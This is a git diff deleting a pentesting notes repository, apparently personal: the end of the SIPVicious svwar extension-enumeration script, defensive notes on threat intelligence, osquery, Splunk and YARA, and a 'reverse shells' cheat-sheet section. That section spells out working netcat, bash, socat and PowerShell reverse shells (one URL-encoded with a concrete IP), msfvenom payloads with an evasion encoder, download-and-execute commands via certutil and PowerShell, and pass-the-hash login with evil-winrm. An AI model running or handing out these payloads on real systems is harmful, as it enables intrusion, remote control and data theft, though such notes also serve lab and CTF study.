--force to force a scan.") - return - - else: - self.BADUSER = buff.splitlines()[0] - self.log.debug("Bad user = %s" % self.BADUSER) - gotbadresponse = False - break - - except socket.timeout: - if gotbadresponse: - self.log.error("The response we got was not good: %s" % buff.__repr__()) - else: - self.log.error("No server response - are you sure that this PBX is listening? run svmap against it to find out") - __exitcode__ = resolveexitcode(30, __exitcode__) - return - - except (AttributeError, ValueError, IndexError): - self.log.error("bad response .. bailing out") - return - - except socket.error as err: - self.log.error("socket error: %s" % err) - __exitcode__ = resolveexitcode(30, __exitcode__) - return - - if self.BADUSER.startswith(self.AUTHREQ): - self.log.warning( - "Bad user = %s - svwar will probably not work!" % self.AUTHREQ) - # let the fun commence - self.log.info('Ok SIP device found') - while 1: - if self.nomore: - while 1: - try: - self.getResponse() - except socket.timeout: - return - r, _, _ = select.select( - self.rlist, - self.wlist, - self.xlist, - self.selecttime - ) - if r: - # we got stuff to read off the socket - self.getResponse() - self.lastrecvtime = time.time() - else: - # check if its been a while since we had a response to prevent - # flooding - otherwise stop - timediff = time.time() - self.lastrecvtime - if timediff > self.maxlastrecvtime: - self.nomore = True - self.log.warning( - 'It has been %s seconds since we last received a response - stopping' % timediff) - __exitcode__ = resolveexitcode(30, __exitcode__) - continue - - # no stuff to read .. its our turn to send back something - try: - self.nextuser = next(self.usernamegen) - except StopIteration: - self.nomore = True - continue - except TypeError: - self.nomore = True - self.log.exception('Bad format string') - __exitcode__ = resolveexitcode(20, __exitcode__) - - data = self.createRequest(self.method, self.nextuser) - try: - self.log.debug("sending request for %s" % self.nextuser) - mysendto(self.sock, data, (self.dsthost, self.dstport)) - - # self.sock.sendto(data,(self.dsthost,self.dstport)) - if self.sessionpath is not None: - if next(self.packetcount): - try: - if self.guessmode == 1: - pickle.dump(self.nextuser, open(os.path.join( - self.sessionpath, 'lastextension.pkl'), 'wb+')) - self.log.debug( - 'logged last extension %s' % self.nextuser) - - elif self.guessmode == 2: - pickle.dump(self.guessargs.tell(), open( - os.path.join(self.sessionpath, 'lastextension.pkl'), 'wb+')) - self.log.debug('logged last position %s' % self.guessargs.tell()) - - except IOError: - self.log.warning('could not log the last extension scanned') - __exitcode__ = resolveexitcode(20, __exitcode__) - - except socket.error as err: - __exitcode__ = resolveexitcode(30, __exitcode__) - self.log.error("socket error: %s" % err) - break - - -def main(): - global __exitcode__ - usage = "usage: %prog [options] target\r\n" - usage += "examples:\r\n" - usage += "%prog -e100-999 udp://10.0.0.1:5080\r\n" - usage += "%prog -d dictionary.txt 10.0.0.2\r\n" - parser = ArgumentParser(usage, version="%prog v" + str(__version__) + __GPL__) - parser.add_option("-p", "--port", dest="port", default="5060", - help="Destination port of the SIP device - eg -p 5060", metavar="PORT") - parser = standardoptions(parser) - parser = standardscanneroptions(parser) - parser.add_option("-d", "--dictionary", dest="dictionary", type="string", metavar="DICTIONARY", - help="specify a dictionary file with possible extension names or - for stdin") - parser.add_option("-m", "--method", dest="method", type="string", - help="specify a request method. The default is REGISTER. Other possible methods are OPTIONS and INVITE", - default="REGISTER", metavar="OPTIONS") - parser.add_option("-e", "--extensions", dest="range", default='100-999', - help="specify an extension or extension range\r\nexample: -e 100-999,1000-1500,9999", - metavar="RANGE") - parser.add_option("-z", "--zeropadding", dest="zeropadding", type="int", - help="the number of zeros used to padd the username." \ - "the options \"-e 1-9999 -z 4\" would give 0001 0002 0003 ... 9999", - default=0, metavar="PADDING") - parser.add_option('--force', dest="force", action="store_true", - default=False, help="Force scan, ignoring initial sanity checks.") - parser.add_option('--template', '-T', action="store", dest="template", - help="A format string which allows us to specify a template for the extensions. " \ - "example svwar.py -e 1-999 --template=\"123%#04i999\" would scan between 1230001999 to 1230999999\"") - parser.add_option('--enabledefaults', '-D', action="store_true", dest="defaults", - default=False, help="Scan for default / typical extensions such as " \ - "1000,2000,3000 ... 1100, etc. This option is off by default." \ - "Use --enabledefaults to enable this functionality") - parser.add_option('--maximumtime', action='store', dest='maximumtime', type="int", - default=10, help="Maximum time in seconds to keep sending requests without receiving a response back") - parser.add_option('--domain', dest="domain", - help="force a specific domain name for the SIP message, eg. -d example.org") - parser.add_option("--debug", dest="printdebug", - help="Print SIP messages received", default=False, action="store_true") - parser.add_option('-6', dest="ipv6", action="store_true", help="scan an IPv6 address") - - options, args = parser.parse_args() - - exportpath = None - logging.basicConfig(level=calcloglevel(options)) - logging.debug('started logging') - - if options.force: - initialcheck = False - else: - initialcheck = True - - if options.template is not None: - try: - options.template % 1 - except TypeError: - parser.error("The format string template is not correct. Please provide an appropiate one", 10) - - if options.resume is not None: - exportpath = os.path.join(os.path.expanduser( - '~'), '.sipvicious', __prog__, options.resume) - if os.path.exists(os.path.join(exportpath, 'closed')): - parser.error("Cannot resume a session that is complete", 20) - - if not os.path.exists(exportpath): - parser.error('A session with the name %s was not found' % options.resume, 20) - - optionssrc = os.path.join(exportpath, 'options.pkl') - previousresume = options.resume - previousverbose = options.verbose - options, args = pickle.load(open(optionssrc, 'rb'), encoding='bytes') - options.resume = previousresume - options.verbose = previousverbose - - elif options.save is not None: - exportpath = os.path.join(os.path.expanduser( - '~'), '.sipvicious', __prog__, options.save) - - if len(args) < 1: - parser.error("Please provide at least one hostname which talks SIP!", 10) - elif len(args) > 1: - parser.error("Currently svwar supports exactly one hostname.", 10) - - destport = options.port - parsed = urlparse(args[0]) - - if not parsed.scheme: - host = args[0] - - else: - if any(parsed.scheme == i for i in ('tcp', 'tls', 'ws', 'wss')): - parser.error('Protocol scheme %s is not supported in SIPVicious OSS' % parsed.scheme, 20) - - if parsed.scheme != 'udp': - parser.error('Invalid protocol scheme: %s' % parsed.scheme, 20) - - if ':' not in parsed.netloc: - parser.error('You have to supply hosts in format of scheme://host:port when using newer convention.', 10) - - if int(destport) != 5060: - parser.error('You cannot supply additional -p when already including a port in URI. Please use only one.', 20) - - host = parsed.netloc.split(':')[0] - destport = parsed.netloc.split(':')[1] - - if options.dictionary is not None: - guessmode = 2 - if options.dictionary == "-": - dictionary = sys.stdin - else: - try: - dictionary = open(options.dictionary, 'r', encoding='utf-8', errors='ignore') - except IOError: - parser.error("could not open %s" % options.dictionary, 20) - - if options.resume is not None: - lastextensionsrc = os.path.join(exportpath, 'lastextension.pkl') - previousposition = pickle.load(open(lastextensionsrc, 'rb'), encoding='bytes') - dictionary.seek(previousposition) - - guessargs = dictionary - - else: - guessmode = 1 - if options.resume is not None: - lastextensionsrc = os.path.join(exportpath, 'lastextension.pkl') - try: - previousextension = pickle.load(open(lastextensionsrc, 'rb'), encoding='bytes') - except IOError: - parser.error('Could not read from %s' % lastextensionsrc, 20) - - logging.debug('Previous range: %s' % options.range) - options.range = resumeFrom(previousextension, options.range) - logging.debug('New range: %s' % options.range) - logging.info('Resuming from %s' % previousextension) - - extensionstotry = getRange(options.range) - guessargs = (extensionstotry, options.zeropadding, options.template, options.defaults) - - if options.save is not None: - if options.resume is None: - exportpath = os.path.join(os.path.expanduser( - '~'), '.sipvicious', __prog__, options.save) - if os.path.exists(exportpath): - parser.error('we found a previous scan with the same name. Please choose a new session name', 20) - - logging.debug('creating an export location %s' % exportpath) - try: - os.makedirs(exportpath, mode=0o700) - except OSError: - parser.error('could not create the export location %s' % exportpath, 20) - - optionsdst = os.path.join(exportpath, 'options.pkl') - logging.debug('saving options to %s' % optionsdst) - pickle.dump([options, args], open(optionsdst, 'wb+')) - - if options.autogetip: - tmpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - tmpsocket.connect(("msn.com", 80)) - options.externalip = tmpsocket.getsockname()[0] - tmpsocket.close() - - enableack = False - if options.method.upper() == 'INVITE': - enableack = True - - sipvicious = TakeASip( - host, - port=destport, - selecttime=options.selecttime, - method=options.method, - compact=options.enablecompact, - guessmode=guessmode, - guessargs=guessargs, - sessionpath=exportpath, - initialcheck=initialcheck, - externalip=options.externalip, - enableack=enableack, - maxlastrecvtime=options.maximumtime, - localport=options.localport, - domain=options.domain, - printdebug=options.printdebug, - ipv6=options.ipv6, - ) - start_time = datetime.now() - logging.info("scan started at %s" % str(start_time)) - logging.info("start your engines") - try: - sipvicious.start() - if exportpath is not None: - open(os.path.join(exportpath, 'closed'), 'w').close() - - except KeyboardInterrupt: - logging.warning('caught your control^c - quiting') - - except Exception as err: - logging.critical( - "Got unhandled exception : %s", err.__str__()) - reportBugToAuthor(err) - if options.save is not None and sipvicious.nextuser is not None: - lastextensiondst = os.path.join(exportpath, 'lastextension.pkl') - logging.debug('saving state to %s' % lastextensiondst) - try: - if guessmode == 1: - pickle.dump(sipvicious.nextuser, open( - os.path.join(exportpath, 'lastextension.pkl'), 'wb')) - logging.debug('logged last extension %s' % sipvicious.nextuser) - elif guessmode == 2: - pickle.dump(sipvicious.guessargs.tell(), open( - os.path.join(exportpath, 'lastextension.pkl'), 'wb')) - logging.debug('logged last position %s' % sipvicious.guessargs.tell()) - except IOError: - logging.warning('could not log the last extension scanned') - __exitcode__ = resolveexitcode(20, __exitcode__) - - # display results - if not options.quiet: - lenres = len(sipvicious.resultauth) - if lenres > 0: - logging.info("we have %s extensions" % lenres) - if (lenres < 400 and options.save is not None) or options.save is None: - labels = ('Extension', 'Authentication') - rows = list() - - try: - for k in sipvicious.resultauth.keys(): - rows.append((k.decode(), sipvicious.resultauth[k].decode())) - except AttributeError: - for k in sipvicious.resultauth.keys(): - rows.append((k, sipvicious.resultauth[k])) - - print(to_string(rows, header=labels)) - - else: - logging.warning("too many to print - use svreport for this") - - else: - logging.warning("found nothing") - - end_time = datetime.now() - total_time = end_time - start_time - logging.info("Total time: %s" % total_time) - sys.exit(__exitcode__) - -if __name__ == '__main__': - main() diff --git a/misc/threat_intelligence/isac.md b/misc/threat_intelligence/isac.md deleted file mode 100644 index 2c79a43..0000000 --- a/misc/threat_intelligence/isac.md +++ /dev/null @@ -1,47 +0,0 @@ -# Threat Intelligence -Data must be analyzed to be considered threat intelligence. Once analyzed and actionable, then it becomes threat intelligence. The data needs context around to become intel. - - -__Cyber Thread Intelligence (CTI)__ is a precautionary measure that companies use or contribute to so that other corporations do not get hit with the same attacks. Of course, adversaries change their TTPs all the time so the TI landscape is constantly changing. - -Vendors and corporations will sometimes share their collected CTI in what are called __ISACs__ or __Information Sharing and Analysis Centers__. __ISACs__ collect various indicators of an adversary that other corporations can use as a precaution against adversaries. - - -Threat Intelligence is also broken up into three different types. - -* Strategic - * Assist senior management make informed decisions specifically about the security budget and strategies. - -* Tactical - * Interacts with the TTPs and attack models to identify adversary attack patterns. - -* Operational - * Interact with IOCs and how the adversaries operationalize. - - - -## Advance Persistent Threats (APTs) -* https://www.fireeye.com/current-threats/apt-groups.html - -## TTP -TTP is an acronym for Tactics, Techniques, and Procedures, but what does each of these terms mean? - -* The __Tactic__ is the adversary's goal or objective. -* The __Technique__ is how the adversary achieves the goal or objective. -* The __Procedure__ is how the technique is executed. - -TI is an acronym for Threat Intelligence. Threat Intelligence is an overarching term for all collected information on adversaries and TTPs. You will also commonly hear CTI or Cyber Threat Intelligence which is just another way of saying Threat Intelligence. - -## Indicator of Compromise -* __IOCs__ is an acronym for __Indicators of Compromise__, the indicators for malware and adversary groups. Indicators can include file hashes, IPs, names, etc. - -## Information Sharing and Analysis Centers (ISACs) -According to the National Council of __ISACs__, "Information Sharing and Analysis Centers (ISACs) are member-driven organizations, delivering all-hazards threat and mitigation information to asset owners and operators". ISACs can be community-centered or vendor-specific. ISACs include CTI from threat actors as well as mitigation information in the form of IOCs, YARA rules, etc. ISACs maintain situational awareness by sharing and collaborating to maintain CTI, through a National Council of ISACs. - -* ISACs - * [US-CERT](https://us-cert.cisa.gov/) - * [AlienVault OTX](https://otx.alienvault.com/) - * [ThreatConnect](https://threatconnect.com/) - * [MISP](https://www.misp-project.org/) - - diff --git a/misc/threat_intelligence/loki.md b/misc/threat_intelligence/loki.md deleted file mode 100644 index 702c5b7..0000000 --- a/misc/threat_intelligence/loki.md +++ /dev/null @@ -1 +0,0 @@ -# Loki diff --git a/misc/threat_intelligence/osquery.md b/misc/threat_intelligence/osquery.md deleted file mode 100644 index ccb3a8e..0000000 --- a/misc/threat_intelligence/osquery.md +++ /dev/null @@ -1,88 +0,0 @@ -# Osquery - -* [Documentation](https://osquery.readthedocs.io/en/stable/) -* [Schema Docs](https://osquery.io/schema/5.5.1/) - -## Usage - -* `osqueryi .help` is the overiew - -### List available tables - -List an overview of all available topics which can be queried. -```sh -.tables -``` -* Specify via `.tables ` - -### Show schema - -```sh -.schema -``` -* Show schema for foreign operating systems via `--enable_foreign` - -### Queries - -* Select -```sql -select * from ; -select * , from
; -``` - -* UPDATE and DELETE is possible on run-time tables - -* JOIN -```sql -SELECT pid, name, path FROM osquery_info JOIN processes USING (pid); -``` - -* Where -```sql -select * from programs where name = 'paint'; -``` - -* Where clause operators - * `=` [equal] - * `<>` [not equal] - * `>, >=` [greater than, greater than or equal to] - * `<, <=` [less than or less than or equal to] - * `BETWEEN` [between a range] - * `LIKE` [pattern wildcard searches] - * `%` [wildcard, multiple characters] - * `_` [wildcard, one character] - -* Matching wildcard rules - * `%`: Match all files and folders for one level. - * `%%`: Match all files and folders recursively. - * `%abc`: Match all within-level ending in "abc". - * `abc%`: Match all within-level starting with "abc". - -* Table 'userassist' stores executed processes - -## Modes - -There are multiple modes to select from to show the data - -```sh -osqueryi -osqueryi> .mode .help -``` - -## Remote Queries via Frontend - -* [Repo](https://github.com/fleetdm/fleet.git) - -## Extensions - -* [osquery-extensions](https://github.com/trailofbits/osquery-extensions) -* [osq-ext-bin](https://github.com/polylogyx/osq-ext-bin) - -### Yara - -```sql -select * from yara where sigfile='' and path like '/home/%%'; -``` -* [Docs](https://osquery.readthedocs.io/en/stable/deployment/yara/) - - diff --git a/misc/threat_intelligence/pithus.md b/misc/threat_intelligence/pithus.md deleted file mode 100644 index 9d97aa4..0000000 --- a/misc/threat_intelligence/pithus.md +++ /dev/null @@ -1,3 +0,0 @@ -# Pithus Mobile Threat Intelligence - -* https://beta.pithus.org diff --git a/misc/threat_intelligence/siem.md b/misc/threat_intelligence/siem.md deleted file mode 100644 index 3f6583e..0000000 --- a/misc/threat_intelligence/siem.md +++ /dev/null @@ -1,30 +0,0 @@ -# Security Information and Event Management (SIEM) - -Collection of data as events on information systems in order to correlate through rulesets. -Network devices and connected endpoints generate events, both are of interest in SIEM. -This is done to reduce threats and to improve security posture. - -* [Varonis](https://www.varonis.com/blog/what-is-siem/) - - -## Workflow - -* Threat detection - * Investigation - * Alerting and Reporting - * Visibility - * Time to respond - -* Basic SIEM monitoring is done through the following stages - * Log collection - * Normalization - * Security incident detection - * Assess true or false events - * Notifications and alerts - * Further threat response workflow - - -## Sources of Interest - -Linux provides multiple security related logs under ` /var/log ` as well as processes under ` /proc ` -This includes the services, access, system and kernel logs as well as the scheduled cron jobs. diff --git a/misc/threat_intelligence/splunk.md b/misc/threat_intelligence/splunk.md deleted file mode 100644 index 2a7c06b..0000000 --- a/misc/threat_intelligence/splunk.md +++ /dev/null @@ -1,77 +0,0 @@ -# Splunk - -## Splunk Bar - * Messages - * Settings - * Activity - * Help - * Find - -## Architectural Components - * __Forwarder__, as an agent - * __Indexer__, receives data from forwarder, normalizes it - * __Search Head__, look into indices - -## Search & Reporting - -The bread and butter of Splunk. Events can be found and searched here. - -* Tip: If you want to land into the Search app upon login automatically, you can do so by editing the user-prefs.conf file. -```sh -C:\Program Files\Splunk\etc\apps\user-prefs\default\user-prefs.conf -/opt/splunk/etc/apps/user-pref/default/user-prefs.conf -``` -* [Docs](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Aboutthesearchapp) -* [Start searching](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Startsearching) -* [Time range picker](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Aboutthetimerangepicker) -* [Field to search](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Usefieldstosearch) -* [Use field lookups](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Usefieldlookups) -* [Search field lookups](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Searchwithfieldlookups) -* [Splunk Regex](https://docs.splunk.com/Documentation/Splunk/8.1.2/Knowledge/AboutSplunkregularexpressions) - -* Tabs - * Event - * Patterns - * Statistics - * Visualization - -## Adding Data - -Multiple different log sources can be added as events. -* [Adding Data Docs](https://docs.splunk.com/Documentation/Splunk/8.1.2/Data/Getstartedwithgettingdatain#Use_apps_to_get_data_in) - -* `Settings > Data > Data Inputs` contains further sources -* Add data after that via `Add Data` - -## Queries - -* [Metadata](http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Metadata) -* [Metalore](https://www.splunk.com/blog/2017/07/31/metadata-metalore.html) -```sh -| metadata type=sourcetypes index=botsv2 | eval firstTime=strftime(firstTime,"%Y-%m-%d %H:%M:%S") | eval lastTime=strftime(lastTime,"%Y-%m-%d %H:%M:%S") | eval recentTime=strftime(recentTime,"%Y-%m-%d %H:%M:%S") | sort - totalCount -``` - -* Examples - * Filtering HTTP sites visited for found IP - ```sh - index="botsv2" 10.0.2.101 sourcetype="stream:HTTP" | dedup site | table site - ``` - -## Sigma - -* [Sigma Repo](https://github.com/Neo23x0/sigma) -* [TA-Sigma-Searches](https://github.com/dstaulcu/TA-Sigma-Searches) -* [Conversion](https://uncoder.io/) - * E.g. : `sigma: APT29` as input - -## Dashboard - -Create visualizations and group them. -```sh -source="" | top limit=5 EventID -``` -* Visualization > choose Chart > "Save As" (top right) > DashboardName - -## Alerting - -* [Workflow](https://docs.splunk.com/Documentation/SplunkCloud/8.1.2012/Alert/AlertWorkflowOverview) diff --git a/misc/threat_intelligence/yara.md b/misc/threat_intelligence/yara.md deleted file mode 100644 index ed22891..0000000 --- a/misc/threat_intelligence/yara.md +++ /dev/null @@ -1,40 +0,0 @@ -# Yara - -## Structure -A rule consists of - * Name - * Metadata - * String definitions - * Conditions on these strings - -## Example - -```sh -rule eicar { - meta: - author="foo" - description="eicar test virus" - strings: - $a="X5O" - $b="EICAR" - $c="ANTIVIRUS" - $d="TEST" - condition: - $a and $b and $c and $d - } -``` - -## Usage - -* Information about a rule, metadata or strings -```sh -yara -m -yara -s -``` - -* Run Yara via -```sh -yara -``` -* If the name of the rule and the target is returned, the rule matched. Otherwise it did not match. - diff --git a/misc/wifi/airmon-ng.md b/misc/wifi/airmon-ng.md deleted file mode 100644 index 36d105f..0000000 --- a/misc/wifi/airmon-ng.md +++ /dev/null @@ -1,20 +0,0 @@ -# aircrack-ng - -## airmon-ng - -* Monitor on interface -```sh -airmon-ng start -``` - -## airodump-ng -* Capture traffic - - -## aircrack-ng -* Use captured network traffic to crack -* Specify targets via common options -* Create hashcap files as `HCCAPX` or `HCCAP` -```sh -aircrack-ng -w -b -j -``` diff --git a/misc/win32.md b/misc/win32.md deleted file mode 100644 index e955692..0000000 --- a/misc/win32.md +++ /dev/null @@ -1,42 +0,0 @@ -# Win32 API - -* Users are able to send systemcalls to the kernel without invoking direct kernel mode -* Header files and DLLs are referenced to call standard functions, [Windows.h](https://en.wikipedia.org/wiki/Windows.h) -* There are core and supplemental DLLs - * Core DLLs are KERNEL32, USER32 and ADVAPI32 - * Supplemental DLLs are NTDLL, COM or FVEAPI -* API calls have a call structure with explicit parameters -* ASLR is used - -## API Calls - -* [Win32 API calls doc](https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list) -* [MalAPI.io](http://malapi.io/) provides API calls to exploit -* Extend functionality by extending the naming scheme - * __A__ is ANSI - * __W__ is Unicode - * __Ex__ is extended functionalities for I/O - -### C API - -* `windows.h` can be included to provide functionality -* Instantiate a variable with a function provided by the API - -### P/Invoke - -* DLL imports and external methods can be imported via [P/Invoke](https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke) -* Subsitutes the `windows.h` implementation and may be used instead of it for __powershell__ and __.NET__ -```C# -using System; -using System.Runtime.InteropServices; - -public class Program -{ - [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType); - ... -} -``` - - - diff --git a/reverse shells/One-Lin3r b/reverse shells/One-Lin3r deleted file mode 160000 index 9fdfa5f..0000000 --- a/reverse shells/One-Lin3r +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6 diff --git a/reverse shells/docs/evil-winrm.md b/reverse shells/docs/evil-winrm.md deleted file mode 100644 index ff4a764..0000000 --- a/reverse shells/docs/evil-winrm.md +++ /dev/null @@ -1,33 +0,0 @@ -# evil-winrm - -* Password or NTLM Hash as authenticator - -```sh -evil-winrm -u Administrator -H -i IP -evil-winrm -u Administrator -p -i IP -P -``` - -## Upload & Download -* On opened host -```sh -upload -download -``` - -## Load Powershell Scripts into Target Memory -* Load attacker scripts into target's memory -```sh -evil-winrm -u -p -i IP -s -``` -* As an example, load Empire scripts dir for port scanning -```sh -evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 127.0.0.1 -P 8001 -s tools/post_exploitation/bc_security/Empire/empire/server/data/module_source/situational_awareness/network/ -``` - -* Init `Invoke-Portscan.ps1` -* `Get-Help Invoke-Portscan` -```sh -Invoke-Portscan -Hosts 10.200.187.100 -TopPorts 50 -``` - - diff --git a/reverse shells/docs/msfconsole.md b/reverse shells/docs/msfconsole.md deleted file mode 100644 index 2056783..0000000 --- a/reverse shells/docs/msfconsole.md +++ /dev/null @@ -1,12 +0,0 @@ -# metasploit reverse shell - -```use multi/handler``` -```sh -set PAYLOAD -set LHOST -set LPORT -exploit -j -``` -* multi/handler is backgrounded. Therefore, `session 1` foregrounds the session. - -* __LPORT under 1024__ user must be root or use sudo diff --git a/reverse shells/docs/msfvenom.md b/reverse shells/docs/msfvenom.md deleted file mode 100644 index 64f889a..0000000 --- a/reverse shells/docs/msfvenom.md +++ /dev/null @@ -1,97 +0,0 @@ -# msfvenom Usage - -* [Cheat Sheet](https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/#waf-and-antivirus-detectionav-bypass-using-msfvenom-encoders) - -``` -msfvenom -p -``` - -* syntax -``` -// -``` - * stageless - ``` - linux/x86/shell_reverse_tcp - ``` - * staged - ``` - linux/x86/shell/reverse_tcp - ``` - -## Windows -### x64 Reverse Shell in exe format -``` -msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST= LPORT= -``` - -### x86 shikata_ga_nai -``` -msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encode x86/shikata_ga_nai LHOST=10.9.7.123 LPORT=4446 -f exe -o shell.exe -``` - -### Getting the shell on target -* on attack machine, with shell.exe in cwd -``` -python -m http.server -``` -* on target machine execute this -``` -powershell "(New-Object System.Net.WebClient).Downloadfile('http://:8000/shell-name.exe','shell-name.exe')" - -Start-Process "shell.exe" -``` -or -``` -powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port -``` -or -``` -powershell -c "Invoke-WebRequest -Uri 'ip/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'" -``` -or on cmd.exe -```sh -certutil -urlcache -split -f http://:/shell.exe -``` -* Using SMB -On attacker -```sh -sudo python impacket/examples/smbserver.py dir . -``` -on target -```sh -copy \\\dir\shell.exe C:\shell.exe -``` - -## Unix -### netcat reverse -```sh -msfvenom -p cmd/unix/reverse_netcat LHOST= LPORT= R -msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf -o shell.elf -``` - -* Alternatively, not msfvenom -```sh -bash -c "bash -i >& /dev/tcp// 0>&1" -``` - -### Include into Python Exploit as hex -```sh -msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -b "\x00" -f py -``` - -## PHP -```sh -msfvenom -p php/reverse_shell LHOST= lPORT=4444 -f raw > reverse_shell.php -``` -* Enclose raw file inside `` tags - -## ASP -```sh -msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp -o rev_shell.asp -``` - -## Python -```sh -msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f python -o reverse_shell.python -``` diff --git a/reverse shells/docs/netcat.md b/reverse shells/docs/netcat.md deleted file mode 100644 index bdf7e5f..0000000 --- a/reverse shells/docs/netcat.md +++ /dev/null @@ -1,28 +0,0 @@ -# netcat reverse shells - -## Payloads - -### linux reverse shell -```sh -mkfifo /tmp/f; nc < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f -``` - -### windows bind shell -```sh -nc -lvnp -e /bin/bash -``` - -### linux bind shell -```sh -mkfifo /tmp/f; nc -lvnp < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f -``` -```sh -nc -lvnp -e /bin/sh -``` - -### powershell reverse shell -* starts the powershell, can be used in cmd.exe as well -```sh -powershell -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" -``` - diff --git a/reverse shells/docs/powershell.md b/reverse shells/docs/powershell.md deleted file mode 100644 index ed70267..0000000 --- a/reverse shells/docs/powershell.md +++ /dev/null @@ -1,10 +0,0 @@ -# Powershell Reverse Shells - -```sh -powershell.exe -c "$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" -``` - -* URL encode -```sh -powershell.exe+-c+%22%24client+%3D+New-Object+System.Net.Sockets.TCPClient%28%2710.200.187.200%27%2C54789%29%3B%24stream+%3D+%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes+%3D+0..65535%7C%25%7B0%7D%3Bwhile%28%28%24i+%3D+%24stream.Read%28%24bytes%2C+0%2C+%24bytes.Length%29%29+-ne+0%29%7B%3B%24data+%3D+%28New-Object+-TypeName+System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C+%24i%29%3B%24sendback+%3D+%28iex+%24data+2%3E%261+%7C+Out-String+%29%3B%24sendback2+%3D+%24sendback+%2B+%27PS+%27+%2B+%28pwd%29.Path+%2B+%27%3E+%27%3B%24sendbyte+%3D+%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22 -``` diff --git a/reverse shells/docs/shell_upgrade.md b/reverse shells/docs/shell_upgrade.md deleted file mode 100644 index 0352057..0000000 --- a/reverse shells/docs/shell_upgrade.md +++ /dev/null @@ -1,52 +0,0 @@ -# Upgrade Reverse Shell - -* [HighOn.Coffee](https://highon.coffee/blog/reverse-shell-cheat-sheet/) -* [reverse shell without python](https://www.schtech.co.uk/linux-reverse-shell-without-python/) -* [ropnop](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) - -## Via interpreter -### PHP -* reverse shell -```php -php -r '$sock=fsockopen("", );exec("/bin/sh -i <&3 >&3 2>&3");' -``` -```php -php -r 'exec ("/bin/bash")";' -``` -* Sometimes even -```php -php -e 'exec "/bin/bash";' -``` - -### Python -```python -python -c 'import pty; pty.spawn("/bin/bash")' -``` - -### Perl -```perl -perl -e 'exec "/bin/sh";' -``` - -### Script -```sh -/usr/bin/script -qc /bin/bash /dev/null -``` - -## Next -1. `ctrl` + `z` -2. `stty echo -raw` -3. `fg` -4. `export SHELL=bash` -5. `export TERM=xterm` - -## Via SSH -* `ssh-keygen` -* copy priv key and `chmod 600` -* `cat id_rsa.pub > authorized_keys` on target - -## As Code -### PHP -```sh -&1|nc > /tmp/f') ?> -``` diff --git a/reverse shells/docs/socat.md b/reverse shells/docs/socat.md deleted file mode 100644 index 107a651..0000000 --- a/reverse shells/docs/socat.md +++ /dev/null @@ -1,54 +0,0 @@ -# socat cheat sheet - -## Reverse Shell -### reverse shell listener -```socat tcp-l: -``` -```socat TCP-L: file:`tty`,raw,echo=0``` - -### windows target -```sh -socat TCP:: EXEC:powershell.exe,pipes -``` - -### linux target -```sh -socat TCP:: EXEC:"bash -li",pty,stderr,sigint,setsid,sane -``` - -## Bind Shell -### generic connect -```socat TCP:: -``` - -### windows target listener -```socat TCP-L: EXEC:powershell.exe,pipes``` - -### linux target listener -```socat TCP-L: EXEC:"bash -li" - -## Connect from statically compiled socat to LHOST -Binary is inside this dir -```socat TCP:: EXEC:"bash -li",pty,stderr,sigint,setsid,sane``` - -## Encrypted Shell -### create key + cert -```openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt``` - -### create pem file -```cat shell.key shell.crt > shell.pem``` - -### reverse shell listener -```socat openssl-listen:,cert=shell.pem,verify=0 -``` -```socat openssl-listen:,cert=shell.pem,verify=0 file:`tty`,raw,echo=0``` - -### connecting shell on target to listener -```socat openssl::,verify=0 exec:/bin/bash``` 